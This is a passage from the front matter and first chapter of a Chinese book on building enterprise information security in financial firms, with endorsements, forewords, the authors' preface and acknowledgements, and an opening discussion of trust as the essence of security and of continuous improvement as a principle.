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对本书的赞誉



我从事金融行业已有三十多年，经历了我国金融lT技术的发展和变化全过程。“安全可靠”是银行业的永久命题，它保障了银行信用的基础，全体技术人员时时刻刻为之付出了巨大的努力。互联网和云计算、大数据、人工智能等新技术的发展更加扁平化和立体化，对网络安全提出了新的全面要求。几位作者在银行和证券行业的安全技术领域不断探索实践，后生可畏。出版此书，殊为不易。

——徐连峰，原招商银行技术总监

本书是作者在金融行业多年从事安全工作的总结和归纳，对企业信息安全架构设计和安全技术实践的方方面面做了系统的梳理，实操性很强，干货满满！可以说，本书对金融行业信息安全从业人员和安全负责人都提供了一本行之有效的指南，可为案头常备工具书之一！

——陈建，平安集团首席安全官

信息安全是一项非常复杂的工程，既要有仰望星空的情怀，又要有脚踏实地的力行，这本书的作者们用自己的思考和实践很好地诠释了这一理念。几位作者都有十年以上金融信息安全从业经验，都是各企业的核心骨干，这次能够利用业余时间将这些经验编制成书，非常的难能可贵，自己有幸提前拜读，感悟良多，借此感谢。

——代留虎，招商银行总行安全管理室主管

建设完善的企业安全架构是一个非常艰难的过程，安全从业者的价值观和技术实战水平与企业安全的前途命运是紧密联系的，从安全本质出发，如何树立正确的安全价值观，处理好安全建设过程中的关系，把控安全趋势的发展，本书给予了我们启发和帮助。

——李吉慧，中国民生银行信息科技部安全规划中心副处长

本书是作者基于多年在金融行业网络安全技术管理岗位上的工作经验，针对金融企业的实际信息安全需求编撰的一部极具行业特色的著作。金融是离钱最近的行业，很自然就成为了网络罪犯们实施网络攻击的首要目标，金融企业必须要加强企业信息安全体系建设，才可能在与网络犯罪的对抗中力保业务不受损失。与此同时，金融企业的IT安全团队又往往只能有少量的人员编制，在这种情况下，如何进行企业的信息安全体系架构与团队技术能力提升，往往是困扰团队领导的难题。而本书作者从安全架构出发首先讨论金融企业信息安全建设的一些策略性问题，然后深入到与金融企业业务紧密相关的安全技术实战，最后回到对金融行业安全趋势与安全从业者职业发展未来的分析上。全书内容深入浅出，语言流畅自然，特别推荐给金融行业网络安全从业者研读，可帮助其快速建立起对行业网络安全需求与安全策略的精准把握，以及对网络安全实战技术的全面了解。此外本书也适合其他行业网络安全从业者参考，毕竟金融行业在信息安全体系上的投入与建设理念可以作为其他行业的参照标杆。

——诸葛建伟，清华大学副研究员/蓝莲花战队联合创始人

在国内，具备甲方经验、有防御体系建设能力和实战经验的人才非常稀缺，随着网络安全的重要性日益提升，安全人才市场缺口凸显。本书出版恰逢其时，不仅系统介绍了企业信息安全建设的方方面面，同时作者以多年金融行业的安全实战为背景，给读者带来大量精彩案例，是网络安全从业人员手头不可缺少参考手册。

——董志强，腾讯安全云鼎实验室负责人

本书具有大安全的视野与格局，内容深入浅出，结合实践经验的分享，对大安全的各个方面进行了体系化的总结，理论不散、实践不浮，体现了作者多年的积累与思考，为各类金融企业提供了可参考借鉴的安全框架与实务手册。

——吴树鹏，火币集团首席安全官

任何技术的落地都需要和场景结合起来，安全技术尤其如此。金融行业是对安全需求非常高的，内部的应用场景和需求如何与现有的技术结合非常有参考价值。作者们总结了他们十几年在金融甲方的安全实战经验，让我读后受益匪浅，强烈推荐为金融行业提供安全产品和服务的乙方，以及准备去金融企业做甲方的安全技术人员阅读。

——方兴（flashsky），全知科技CEO

金融行业的本质在经营风险，受到的监管合规管制也最严格。阅读本书，仿佛和作者们进行了一场酣畅淋漓的对话，又好像瞬间吸收了他们的功力，得以窥探金融领域安全实践的冰山一角。不论是大型互联网企业的安全管理者，还是初入行业的新人，本书都具有极大的参考意义，值得细细品读学习。

——赵弼政（职业欠钱），美团基础设施安全负责人

本书非常全面、系统、清晰地从多个维度介绍了企业信息安全建设的方方面面，对其中的主要场景的主要矛盾进行了深入浅出的剖析，既有适合安全管理者阅读的头脑激荡，也有适合安全工程师阅读的实操经验分享，实战价值极高。本书极为适合安全从业者和安全爱好者阅读。

——方勇，腾讯云安全总监

金融行业一直是IT高度发展的一个领域，同时也是数据资产高度集中的一个行业。在这种背景下，相对其他行业，金融行业对于安全的重视程度普遍较高，安全技术和管理能力都更胜一筹。本书系统介绍了金融企业安全建设的方方面面，既有对抗技术，也有管理运营，对于其他行业的安全从业者也具有很好的指导价值。

——兜哥，百度安全基础架构安全负责人，AI安全三部曲的作者

金融行业对于安全的认识相对较早，同时重视程度也较高。作者们将多年在金融企业安全建设上的实践经验抽象成理念和可落地的方式、方法，并对金融行业常见的一些风险场景进行了全面深入的讲解，且有很多可直接落地的干货，对于安全规划、安全团队建设以及安全人员发展等痛点都有独到见解，相信金融行业安全从业者阅读本书后会受益匪浅。

——Feei（止介），美丽联合集团网络信息安全总监

本书是一本兼具安全架构和实战经验的信息安全专业书籍。本书的第一作者聂君先生在信息安全产业内工作多年，担任过知名金融机构的信息安全负责人，对甲方信息安全的需求，特别是金融行业信息安全的特点有着深厚的理解，在多年的信息安全管理工作中也积累了丰富的实战经验。本书的内容覆盖很广，从信息安全管理到最前沿的技术实战都有所涉猎，适合信息安全从业人员、金融行业IT从业人员等专业读者。

——萧德纲，启明星辰集团副总裁

本书是一本从甲方视角写的经验总结，读完后受益匪浅。今年上半年我们团队办了一场深度的Red Team闭门培训，本书第一作者聂君是学员中唯一一个甲方安全人员，当时他说他希望多吸收攻击者视角的手法，进而促进他们的安全工作。而读了此书，对我来说是大量吸收了防御者视角的经验，对我们以攻促防的安全建设思路来说是一次绝佳的学习机会。再次感谢。

——余弦，Joinsec Team&慢雾科技联合创始人

许多信息安全的从业者受限于学习和工作的经历，没有机会洞悉信息安全的全貌，对于职业的规划和方向感到迷茫。许多企业的CEO、CTO和信息化负责人重视信息安全但因缺少专业背景和知识，不知道企业安全岗位应该如何设置，安全建设应该如何开展。本书的几位作者在企业信息安全建设，尤其是金融企业安全建设方面有着丰富的实践经验，相信对于希望从事企业信息安全建设的朋友会有很大帮助。

——薛锋，微步在线CEO
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三年前认识聂君，初见时的场景仍记忆犹新。当时本人所在的企业急需引进一名在信息安全领域能够独当一面的专业人才，机缘巧合之下认识了聂君。几次接触发现，不仅他的知识和能力与岗位相匹配，更为重要的是我们彼此对很多事情的认识和看法非常契合，颇有相见恨晚之感。三顾茅庐之下，这位安全界大名鼎鼎的君哥终于被我感动，我也终为公司求得这一人才。

合作三年，感佩聂君做事的认真和用心，视角全面、思维成熟、敏于实践、勤于总结、乐于分享、广结人缘，若非如此，我想也断不会有此书的出版。

这几年，因工作的关系，我们在安全领域做了不小投入，下了不少功夫，对从事安全领域的甲乙方小伙伴们有了更多的了解，接触下来，真觉得十分有趣，也很欣赏。安全圈无论是国内外，颇有江湖侠客之风：英雄不问出处，尊重个性，崇尚技术，追求卓越；靠着先天之悟性加后天之勤奋，从业者可以一战成名，受众人尊重甚至追随。

当下，尤其是对金融机构而言，信息安全的重要性已经不需要再特别论证。或许各家企业起心动念起点不同，但无论是主动谋求长治久安，还是仅仅为形势环境所迫，无一例外都已经将信息安全作为一项重中之重的任务来抓。但真正要做好却着实不易。借此机会，我也从我的角度（甲方IT主管）对信息安全浅谈几点。

一、关于信息安全工作的定位：金融企业的商业价值是为客户提供金融服务，业务永远是其根本和主业，IT的价值在于把技术做好，为公司提供先进的、安全的、有市场竞争力的IT平台和工具，服务好客户。因此IT万不可跳脱出来，就着技术论技术，甚至倒逼公司做投入。信息安全作为IT的一个细分领域，也同样必须统一到这个认识上。作为甲方的安全从业人员，必须基于公司的业务、发展阶段和内外部环境，综合统筹制定安全规划和实施路径，帮助企业达成商业目标，与业务的差别仅仅是分工不同、职责不同而已。

二、关于信息安全工作的重要性：经常听到这句话：信息安全做得好不好，首先取决于领导的重视程度。在我看来，这话对也不对。对的方面是：结果是否达成确实和领导有很大关系，如果公司不做投入，领导该承担的责任不承担，任谁都不可能做好这份工作；那为什么又说这话不对呢，因为领导不是神仙，在缺少信息支撑的情况下不可能做出预判和决策。安全人员自身要做好领域规划和布道宣传，有意识地提炼工作、向上管理。有时往往是因为自身能力的欠缺，这方面的工作做得不够，不同职场层次之间存在较大信息不对称，才造成了公司投入没有及时跟上。因此，无论是安全人员还是IT人员，这是需要时刻提醒自己和提升自己的地方。

三、关于信息安全工作的复杂性：信息安全领域包罗万象，涉及技术与管理、研发与测试等全链条，从物理层到应用层，从机器到人都需要纳入到工作范畴里，从体系、规划、架构、管理与技术落地以及运营迭代形成闭环。这是一个复杂的系统工程，需要很强的系统性思维，持续不断的学习自驱力和卓越的执行力。

四、关于信息安全工作的横向协作：在IT团队内部，信息安全与研发、运维、测试等都需要密切的协作，但因为安全工作更多承担了制定规范、监控监督的职责，所以，在协作方面处理不好，容易出现工作冲突，损伤士气。甲方安全人员尤其需要对这一点有深刻的认识，在工作中能够客观看待事物和艺术的处理矛盾，积极主动、不忘初心的去达成目标，慢慢历练出专业感和职业感，当然要达到这一点是不容易的，但也是很重要的。

写序之前，仔细拜读了全书，书中所思所想皆发自作者肺腑，所行所惑皆来自实践，内容全面翔实，可谓倾其所得、倾囊而出。对于上述几点看法，作者有着非常深刻的认识，其中观点我非常认同，此外，书中还在战术层面归纳总结了很多方法，具有很强的实操性，相信无论是甲方还是乙方的企业领导、CIO、安全主管，还是职场小白，都一定能从本书中得到启发，有所收获。

最后恭喜君哥儿女双全之外，集数年之功力，出版此书，可谓又喜得一子，可喜可贺。

许彦冰，安信证券信息技术中心总经理

2018年8月21日
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自古以来，安全问题就是人类所要解决的最基本问题。小到每个人的安全，大到整个国家的安全，每个时代都无法回避这个问题。解决安全问题给人类生存和社会发展提供了基本保证。

自从互联网诞生以来，人类的生产力水平有了极大的提高，人们的生活随着互联网的出现变得越来越美好，但随之而来的安全问题，也以全新的面貌出现在我们面前，这带来了一系列新的挑战。

互联网、云计算、IoT、机器智能，这四项技术在短短二十年内的兴起，正在极大地改变整个世界。因为摩尔定律，计算和存储的成本每十八个月降为一半，也因此我们有能力将整个物理世界进行数字化，而数字化后的数据，通过互联网即时地传输回云端进行大规模计算的处理，从而诞生出了过去从来没有过的机器智能，而借助机器智能，我们真正拉开了一个时代的序幕。这个时代就像19世纪时人类进入电气时代一样，对我们的影响将无比深远。

我们所有安全从业者的责任，是很好地解决这个时代的安全问题，推动时代的进步与发展，而非让安全问题变成保守派与既得利益者的一种借口，阻碍社会的发展。先进生产力的出现，一开始往往是脆弱的、不完善的，也意味着肯定存在安全问题。但不能因安全问题的存在，因噎废食，彻底否定先进生产力。过于保守将极大地延缓人类进步的节奏，这与我们生活的环境息息相关。我想帮助先进生产力解决好安全问题，让新时代更快、更稳定地来临，正是我们安全从业者存在的意义。

在19世纪晚期，电气照明替代煤气照明的过程中就出现过种种争议，有人认为电气照明会带来不安全，让整个夜晚的城市照亮会方便罪犯在夜晚犯罪，甚至有报纸公开宣称照明是对神灵的亵渎。然而种种噪声终将消失在历史长河，但是这些争议却是工程师们设计一套稳定、安全系统的最佳磨刀石。出现安全问题必然意味着损失，甚至有牺牲，但需要整体保持乐观，不断总结经验就能向前走下去，终达彼岸。

安全问题是一个信任的问题。我们无从解决一个没有任何信任基础的安全问题，怀疑主义者如果怀疑一切，那么就失去了出发点。基本的信任就像一个世界中的原点，只有从原点出发，才有可能推导出一切。就像可信计算中的信任链传递，在最底层最基础的部分，一定有一个可信任的芯片，它是一切的基础。如果这个基础的信任假设不成立，那么构建的一切上层建筑将随之崩溃。

安全问题是一个研究对抗的科学。没有对抗，就没有威胁，也就没有安全问题。所谓安全，一定是有需要保护的一方，与形成威胁的一方。勿论这种威胁是来自于内部，还是来自于外部。人与人之间的关系，构成了现代社会，因此安全问题在很多时候，最终依旧要回归到研究人与组织上面去。只有研究清楚了威胁一方的能力、动向，才能有效地调动我方的资源、部署。在对抗中，安全问题被不断解决。所以从宏观上看，我们要解决的安全问题，与军事上的很多思想有共通之处。而在互联网安全问题中，则衍生出了“威胁情报”这一分支。

安全问题是一个概率问题。安全事件往往是小概率事件，但在一个大规模环境下，小概率事件却往往又会变为常态。比如小行星撞击地球、地震、战争等灾害的破坏，很可能会影响到数据中心的数据安全，但这些极端的事件是一个小概率事件，不是每时每刻都在发生的，在设计系统时需要从全局考虑，更要平衡好对应的投入产出比。一个安全方案决定的是有限资源的分配，要把资源分配在概率最高、风险最大的问题上。但我们日常面临的种种安全问题往往不是那么极端，那么如何评估概率、分配资源，对安全架构师的能力提出了很高的要求。

安全是一门应用科学。从业十多年，我感受到安全这门学科并不像物理、数学一样有很多的基础理论需要去研究和探索。安全从对抗中来，最终还是要回到对抗中去，到底好不好，要看疗效。在不同时代、不同环境下也会衍生出不同的安全问题。因此如果说安全问题研究的是什么，我认为最终还是会回到研究人与人之间的关系。但在这个过程中，随着每个时代的不同，可以有很多不同的技术手段、工具应用到安全的对抗过程中，就是为了完成各自的安全目标。

安全工作者永远对新技术保持敏感、乐于接受先进生产力。无论是攻击还是防守，先进生产力都能带来很多新的视角、新的能力。比如新出现的机器智能，让我们对概率这一问题能够做到更加的心中有数，更加精细化地管理我们面临的一切。而对概率的计算越精准，就越能有效地分配资源，从而实现对抗中的优势，这不失为当前最需探索的一条新的道路。同样，区块链的出现，在可以预见的未来中，将成为极其重要的基础设施。在整个世界数字化的基础上，人类的一切行为有可能被全量记录在区块链的账本中，通过加密技术保证无法被篡改，这让我们有可能第一次真正解决数据共享中的信任问题。而信任的门槛被降低后，会像打开一个潘多拉的魔盒一样，改变人类生活的方方面面。这种对社会的推动与改变，正是安全工作者所应当追求的。

所有这些安全技术、安全问题的解决，都要立足脚下、放眼未来。作者们根据多年在金融企业的工作经验，写下了这本书。这本书对整个金融安全工作乃至各行各业的企业安全工作，都有着非常重要的指导意义。这是因为金融行业本身对安全的要求就非常高，是一切业务的基础，在严格的要求下才能形成高水平的队伍。另一方面金融本身研究的就是概率，对于安全问题会有着天然的敏感性，更勿论区块链技术最早就是在金融行业出现。也因此本书是从真正的一线中来并服务于一线的，书中既有理论思想指导，又有可落地的实操经验。

在本书中，我看到了作者们满满的诚意。将若干年的工作经验总结成文字是一件费时费力的事情，殊为不易，我们要感谢作者们的无私分享，而他们对于技术的谦卑心态值得我们所有人学习。

吴翰清，阿里云首席安全科学家

2018年8月26日
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得知君哥打算写这本有关安全运营的书时，满怀期待的同时也有一些疑虑。因为近几年网络安全相关的好书有不少，但多数是以安全技术为主，论述安全运营之道的非常鲜有。主要原因是安全技术领域纷繁驳杂，专注其中某项技术形成著作相对简单清晰。但安全运营之道不仅要融会贯通多项安全技术，还要根据业务系统的情况，把安全技术结合到日常安全运营工作中，并且在保障业务系统安全之余，还要考虑如何体现出安全运营工作的价值，这是一项需要长期坚持的浩大工程，其中还有很多讳莫难书的体会。所以，虽然知道君哥有多年的安全技术、安全管理的实战经验与积累，并且也从安全技术从业者转型为安全管理者，经历了安全运营工作中多个角色，有很多体会和心路历程，但繁忙工作和照顾家人之余，是否还能沉下心来梳理所学所感，把安全运营的宝贵经验都写出来，还是替君哥捏了一把汗。

所幸君哥和其他两位作者的积累和坚持，在我看到书本样稿时，不仅打消了之前的疑虑，更让我眼前一亮，这本积累几个作者心血的安全运营之道，不仅涉及当前安全运营相关常见的安全技术，而且能帮助和指导安全技术人员如何更好地运用技术提升安全工作。更包涵金融企业安全体系架构和建设的方向与内容，以及安全资产威胁管理等企业安全基础的重要关键点。更难能可贵的是，还结合作者从安全技术到安全运营管理的成长经历，提出了安全技术从业者可参考的“安全世界观”。更对企业的安全管理者和安全运营工作的负责人分享了很多宝贵的实战经验，让企业安全管理者和安全运营工作负责人，在面对企业领导、业务部门和用户希望安全工作是“不碍事不出事”的期望下，在安全投资难以衡量价值的前提下，如何围绕业务、协调好运维等各方面的关系，让安全运营工作顺利落地，如何让安全团队的技术价值显现，让搞安全的技术人员能够得到成就感。这些安全技术从业者和企业安全管理者思考多年也面临多年的“沉疴杂症”，给出了有实际参考意义的建议。也为当前部分金融企业的安全建设和从业人员点明了如何避免“为了安全而安全”的破局思路。对于日益多元化的需求和逐渐复杂的网络环境，让安全更应当回归实际，发挥安全工作的价值本质。

这本书对安全从业人员来说是一笔财富，亦是可让你随时翻阅、随时提供参考建议的良师益友。相信这本书能为金融企业构建有价值的安全体系提供有益的参考，同时能为致力于向CSO（首席安全官）发展的安全人员，开启一些成长的思路。

这本书除了书籍文字之外，拜读之后还有不少感悟，安全工作门槛颇高，而黑白之间收益天差地别，但成功的安全人员离不开职业操守和情怀。安全人员的工作是解决风险，但也意味着随时暴露在风险和诱惑之中，当有捷径可走时，走还是不走？君哥和其他两位作者分享所学，也正是在分享正面的“安全观”。

此外，“君哥的体历”公众号上破例发了一篇推广软文。推广“南俊苹果”，南俊是一名白帽黑客，在个人工作成长和妻子刚怀孕的人生美好时间，却因一场车祸，肩膀平面以下再没了知觉。但他没有因此颓丧，而是选择开一家名为“NJ的希望农场”的微店，通过销售老家农村有机苹果的微薄收入，以此承担照顾家庭的责任。求证南俊的事迹真实后，君哥为“南俊苹果”义气站台推广，还有安全圈同仁在朋友圈纷纷转发和支持，他和南俊都让我感受到了安全圈的这份温情、情怀与坚守，也正是安全圈满满义气的“人生观”的体现。

有幸作序之余，更多的是学习与感谢。安全工作充满挑战，道阻且长，但也机遇遍地，值得每一个从业者奋不顾身。在此寄愿安全圈的伙伴们始终都充满希望，始终有颗感恩的心，有颗持续让自己变得更好的心，永远坚持，永不放弃。

郭亮，北京数字观星科技有限公司

2018年8月28日




前言



自从我从事信息安全职业以来，我一直在甲方从事企业安全建设工作。由于信息技术和安全技术日新月异地发展，我一直在学习之路上奔跑。看过很多书，听过很多演讲，其中大部分图书是零碎的技术点、工具使用和攻击过程演示，少数是属于理论性和学术性的教科书，很少有书籍介绍如何将安全技术更好地应用在不同规模、不同阶段的企业中，即企业安全最后一公里问题。在企业做安全、安全管理和安全技术，都需要通过安全实践去落地，并最终实现安全有效性的提升。

企业的安全负责人关注的重点是如何使企业的安全建设更加有效，以及如何落地，例如安全价值、安全如何保障业务、安全合规、安全总结汇报、安全考核、安全度量、资产管理等。企业安全建设的很多话题和讨论，看起来并不高大上，但却能够解决实际问题，给实际工作带来更大帮助，甚至很多属于“保命”的知识和技能。可是，安全实践这部分很有价值的内容却被市场选择性地忽略了。

企业安全建设中另一个重点是安全运营。企业负责人和IT部总经理经常会问：什么样的安全是安全的？我见过一些企业做安全的过程，部署了各种安全设备，设计了各种安全管理措施和流程，领导也很支持，安全预算和安全人员也都给足，结果还是出了问题，归根结底是安全有效性出了问题。设备部署了，异常告警规则做好了吗？告警正常吗？设备依赖的条件，比如镜像的流量一直正常吗？了解安全保护的业务吗？能看懂告警日志的人有吗……

要将安全性当作可用性来运营，安全才是有效的。目前制约安全运营发展的最大因素有两点：一是缺少特别好的商业化工具，能够结合企业内部的流程和人员，提高安全运营效率；二是一万个安全负责人心中有一万个安全运营思路，没有形成统一的安全运营标准。安全运营这部分很有价值的内容，很遗憾和安全实践一样，也被市场选择性地忽略了。

书本和市场提供不了这些知识和技能，我只能求教于同行。我的从业经历主要在银行和证券，因此每年我都会和行业同仁进行学习交流。除了金融业，我们也向互联网行业公司学习，从中确实获益良多。不同的行业、企业的规模、面临的风险威胁、企业文化和实际需求、安全投入等，其安全建设之路也风格迥异，但做得好的企业都侧重解决实际安全问题，日拱一卒，积极实践，因此愈发坚定我对安全实践和安全运营的探索。

利用工作之余的闲暇时间，我维护了“君哥的体历”公众号和“金融业企业安全建设实践”微信群，将我从业十余年的一些体验和经历分享出来，抛砖引玉，启发更多企业安全负责人的思考和分享讨论，并将有价值的内容沉淀在知识星球（公众号、微信群、知识星球联系方式见文末），为越来越多的人带来一些价值和帮助。

这种分享，我理解为另一种“开源”精神。代码和项目开源很常见，体验和经历开源不多见，尤其是比较体系化地将如何在企业做安全建设的思路和实践开源，需要静下心来归纳总结提炼，在平常繁重的工作任务和需要全身心投入陪伴两个娃的同时，要做好“企业安全建设”这个开源项目，难度和挑战更大。在这个过程中，有如西湖惬意的微风，也有如沙漠般的烈日当头。不忘初心，方得始终。初心易得，始终难守。幸好我遇到了两位志同道合的伙伴，我们彼此共同努力和坚持，克服了各种困难，才有此书的面世。

在某个年纪之前，你可以靠透支身体、小聪明和老天给你的运气，一直取巧地活着。然而到了某个年纪之后，真正能让你走远的是自律、积极和勤奋。人生最美好的莫过于各种经历和难忘的体验，过程虽然比较痛苦，结果都还比较好。如果大家和我一样，在企业做安全中遇到各种颇为“痛苦”的经历，过后你一定会感谢和怀念这份经历的。



本书结构



本书分两部分共24章，读者可以通过浏览目录进一步了解各章的内容。本书介绍了企业安全建设的方方面面，可以当作一本安全工作参考书，遇到问题时，也可以挑选任何所需要章节进行阅读。

第一部分“安全架构”，主要介绍了企业安全建设涉及的领域，金融行业安全建设的一些特点，重点安全管理领域如内控合规管理、外包安全管理等，对安全团队建设、安全培训、安全考核、安全认证、安全预算等进行了深入探讨，有助于读者从企业安全建设者的角度了解企业安全的视角和解决问题的思路。

第二部分“安全技术实战”，主要介绍企业安全建设中的一些安全技术应用实践，包括应用安全、内网安全、数据安全和业务安全等，对一些防护重点如邮件、活动目录、补丁管理、抗DDoS攻击等进行了深入探讨，对安全运营、应急响应和安全趋势以及从业者的未来做了一些开放式探讨。这些有助于企业安全负责人更好地掌握全局，顺势而为。附录中介绍了企业安全技能树等内容，还在持续更新中，有兴趣的读者可以和我们互动反馈。联系方式如下：

邮箱：
niejun2002@gmail.com



GitHub：
https://github.com/jun1010/secbuild



微信公众号：君哥的体历（jungedetili）

知识星球：金融企业安全建设实践



聂君致谢



感谢我的妻子，在最美丽的时候与我相遇，我的人生才充满了甜蜜快乐和多姿多彩。感谢她在我遭遇挫折和失败的时候默默支持着我，使我在迷茫和困惑的时候仍然能够鼓起勇气，看清方向。感谢生命中最可爱的两个宝贝，让我每一天都充满快乐和希望。

感谢我的父母，是他们养育了我。感谢我的父母和岳父岳母，帮忙照顾我的家庭，并一直支持我的事业，使我最终能有机会写下这些文字。

感谢我任职过的公司，给予我实践的土壤，使我能够有今天的积累。感谢工作中一直给予我帮助和鼓励的领导、同事和朋友，他们包括但不限于：吴云坤、周天虹、许彦冰、周智坚、高旭磊、贾俊刚、代留虎、徐恒、张靓、万雪林、何扬军、丁一琼、诸葛建伟、吴翰清、杨勇（Coolc）@腾讯、赵彦@美团、董志强（killer）@腾讯、方小顿（剑心）、韦韬（Lenx）@百度、胡珀（Lakehu）@腾讯、吴树鹏@火币网、王宇@蚂蚁金服、赵弼政（职业欠钱）@美团、方勇@腾讯、李吉慧@民生银行、余弦@慢雾、刘焱（兜哥）@百度、郭亮@数字观星、顾孔希@滴滴、方兴@全知科技、Feei（止介）@美丽联合、shutgun@启明、薛锋@微步在线、陈纯。

感谢许彦冰女士为本书作序，她是我非常敬佩的一位领导和学习楷模。

感谢吴怡编辑以及机械工业出版社的编辑、排版、设计等人员，他们非常专业和敬业。

最后感谢成长道路上给予我帮助的每一位朋友，感恩。



李燕致谢



在商业银行从事了多年的信息安全管理工作，几乎每天都在跟各种各样的报告打交道，监管报告、风险评估报告、安全检查报告、定期工作汇报……已经数不清楚写了多少份报告，感觉每天的工作，不是在写报告，就是在为了写报告而准备素材。但是在很多个失眠的夜晚，我不禁暗自思考：做了这么多项具体的工作，写了这么多份具体的报告，最终能留下的，到底还剩什么？报告本身已经完成了它短暂的使命，工作本身已经实现了它当时的价值。但是除了每天埋头完成这些来自各种不同渠道的任务以外，我可以给后面从事同类工作的小伙伴们留下些什么，能够积累、沉淀、传承些什么？一个人的力量是有限的，能直接管理和培养的团队也是有限的，如果能将个人的经历变成可以复制的经验，对于未来团队的培养，对于金融行业的信息安全工作，也许都可以是一个小小的贡献。

作为建立起两个商业银行信息安全团队的人，我深深了解信息安全人员的辛苦忙碌和酸甜苦辣，深深体会到信息安全人员的远大抱负和对现实的无奈，深深感动于信息安全人员的顽强坚守和价值追求。特别是金融行业，信息安全工作要求极高，信息安全人员压力极大，他们凭着极度的责任感和敬业精神，捍卫着金融企业科技的合规发展，保护着客户的资金和信息不被侵犯。我一直希望自己能做些什么，可以帮助后来的伙伴们拓展一些思路，少走一些弯路，加快一点步伐。把自己想过的、做过的、错过的，都分享出来，也许是个办法。

然而，事非经过不知难。信息安全永远没有最佳答案，只能动态平衡、不断调整。适合自己的就是最好的，但要找到适合的那个平衡点却是最难的。我们的书也给不出标准答案，只能给出一种思维、一套逻辑、一类方法和一些启迪，能保证的只是每一个字都来源于实际工作，都可以落地。如果本书能引起一些讨论，能像石头激起一些水花，或者能引发更多金融行业的同行们也将经验拿出来分享，那这件事情的意义就远远超出了文字本身；如果我们的分享和总结，能带给读者们一点点启发和改变，我们的方法和工具能在企业中有一点点的应用和推广，那么我们的工夫就没有白费。

春节、清明、五一、端午、周末，已经记不清多少个假日在闭门码字，也记不清多少个晚上11：00以后在挑灯奋战。今天回首，很庆幸能够坚持不懈，很庆幸没有半途而废。工作是修行，写书是修行，人生是修行。修行，永远在路上。

感谢全力支持我的家人，这么多个不能陪伴你们的日日夜夜，你们仍鼎力支持，毫无怨言；感谢聂君，对我们运筹帷幄、严控进度，自己则信手拈来、才思泉涌；感谢何扬军，虽至今未曾谋面，但字里行间体现出的专业、自信，跃然纸上。以文会友，不亦快哉！

聂君说，等书出版以后，我们几个要好好庆祝一下。我说，额手相庆，不醉无归。不出书本身，而是为努力的自己，为自律的自己，为更好的自己。我们等这一天，等很久了，幸好，它来了。



何扬军致谢



某日在朋友圈忍不住吐槽一本翻译过来的书，有个朋友在下面回复问我啥时候也出一本书。当时没有多想，一来平时工作确实忙，二来过往从事了很多具体的技术工作，杂乱且不方便透露细节。

或许是深埋心底的文艺情结作怪，当2017年年底好友聂君说想合作写一本书时，我有点小兴奋并马上就答应了。心想凭着这些年工作经验积累以及曾经发表在外部或在内部分享的文章应该问题不大，实际上写起来却发现自己还是把事情想简单了。

安全领域所涉及的面非常广，每个点深究下去又是一个专业领域。为了对得起自己也对得起读者，在接下来的半年时间里，我的身心状态总是在工作和写书之间进行切换，很多个晚上、几乎每个周末都在公司加班码字，好多个深夜保安来关灯了才发现整层楼只有我还在公司。有些技术虽然基本原理大家都懂，但真正要讲清楚来龙去脉还要查阅大量资料，有一些技术细节还需要反复在实验环境中测试确认，确保不犯错。所以进度也是相对较慢。好在最终坚持了下来，感谢聂君、李燕的鼓励，感谢公司领导和同事的支持，更感谢家人背后默默的付出。在写书过程中，还参考了不少网络资料，并与一些同事、朋友进行了讨论，在此一并表示感谢，他们是（排名不分先后）：徐恒、李旬保、万雪林、黄炜程、王先伟、伍盛、魏强、王俊麟、许世杰、梁泉、李志强、万京平@神华信息、谭德飞@平安科技、黄启高@微软、顾孔希@滴滴出行、俞婷@中兴通讯、钱文斌@网联、唐勤@广发证券、廖位明@连连支付。

初次写书，由于能力和精力所限，难免有错漏之处，恳请大家指出其中的错误与不足之处，谢谢！
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第1章　企业信息安全建设简介



企业信息安全越来越受到关注，但企业信息安全的本质和原则是什么？该怎么做？趋势如何？我们从更接近实战的角度进行探讨。




1.1　安全的本质



在企业做信息安全会遇到很多困惑，企业信息安全到底应该怎么做？管理、技术、流程和人员哪个更重要？安全团队和安全人才该怎么建设、培养和激励？笔者带着这些问题。

与各种安全圈内各种安全人士交流过，笔者发现长期以来一直困扰的问题与信息安全的本质有关，或者说，需要了解信息安全问题的本质是什么？

互联网本来是安全的，自从有了“研究安全”的人，就变得不安全了。比如SQL注入攻击，自从1999年首次出现后就成为互联网应用安全的头号大敌，SQL注入攻击的本质是把用户输入的数据当作代码执行，而开发人员设计用户输入的功能时，本意只是提供一个用户交互功能，根据用户的输入返回动态页面结果，以便提供更好的用户体验。这个好的出发点，很不幸被恶意的人滥用了。再比如，钓鱼网站目前已成为很多金融企业的首要安全威胁，而在2011年以前，很多金融企业的安全人员甚至都没有考虑过这个问题。时至今日，他们仍会觉得很无辜，因为企业的网站并没有任何安全漏洞，是钓鱼网站的“狡猾”和用户的“傻”，才让攻击者有机可乘。

上面两个例子中，开发人员信任用户输入，用户信任钓鱼网站，从而导致信息安全问题。所以说，信息安全问题的本质是“信任”。计算机用0和1定义整个世界，而企业的信息安全目标是解决0和1之间的广大灰度数据，运用各种措施，将灰度数据识别为0（不值得信任）或1（值得信任）。信任是信息安全问题的本源。比如，某些普通企业设计信息安全方案时，会假设安全人员、开发人员、运维人员是默认被信任的；比普通企业安全要求更高的金融企业、国家机构等设计信息安全方案时，安全人员、开发人员、运维人员可能就是默认不被信任的。不同的信任假设决定了安全方案的复杂程度和实施成本，安全需要找到某个自己可以接受的“信任点”，并在这个点上取得成本和效益的平衡。




1.2　安全原则



对于信息安全工作目标和实现方案，每个企业可以根据自己的实际情况做出选择，可谓各有千秋，但有些普适性的基本原则是相通的。概括而言，信息安全原则主要有三点：持续改进、纵深防御和非对称。


1.持续改进


有没有办法确保一台服务器不被不明武装分子攻陷？有没有一个类似“照妖镜”的工具，一旦安装上就可以高枕无忧，让恶意的攻击者无所遁形？有没有一个万能的“上帝之手”，帮我们干掉所有安全问题？很遗憾，以上“神器”都不存在。

在解决安全问题的过程中，不可能一劳永逸。很多安全厂商在推销自己的安全产品时，吹得天花乱坠，似乎无所不能，从早期的防火墙、防病毒、入侵检测，到现在的态势感知、威胁情报、智能分析，安全防御技术本身并没有革命性的变化。一套入侵检测技术包装个名词，就能摇身一变从IDS到IPS、SIEM，再到现在的威胁情报，但本质上，都还是开发检测规则，进行异常模式识别。安全产品、安全技术不能光靠名词的改变来实现转型升级，而是需要不断地随着攻击手段的发展而升级，也需要有人来运营，否则安全就是稻草人，在变化的攻击手段前不堪一击。

因此，持续改进，PDCA（plan，do，check，act）循环，螺旋式上升，是信息安全的第一个原则。


2.纵深防御


